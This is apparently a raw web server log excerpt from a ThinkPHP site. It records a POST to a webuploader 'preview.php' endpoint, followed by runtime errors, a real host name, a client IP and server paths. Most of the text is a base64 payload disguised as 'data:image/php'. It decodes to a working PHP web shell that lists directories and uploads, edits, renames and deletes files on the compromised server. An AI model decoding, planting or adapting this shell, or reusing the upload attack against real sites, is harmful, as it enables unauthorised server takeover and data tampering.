'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:39+08:00 ] 116.213.36.234 POST www.51tianwei.com/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002559s] [吞吐率:390.79req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 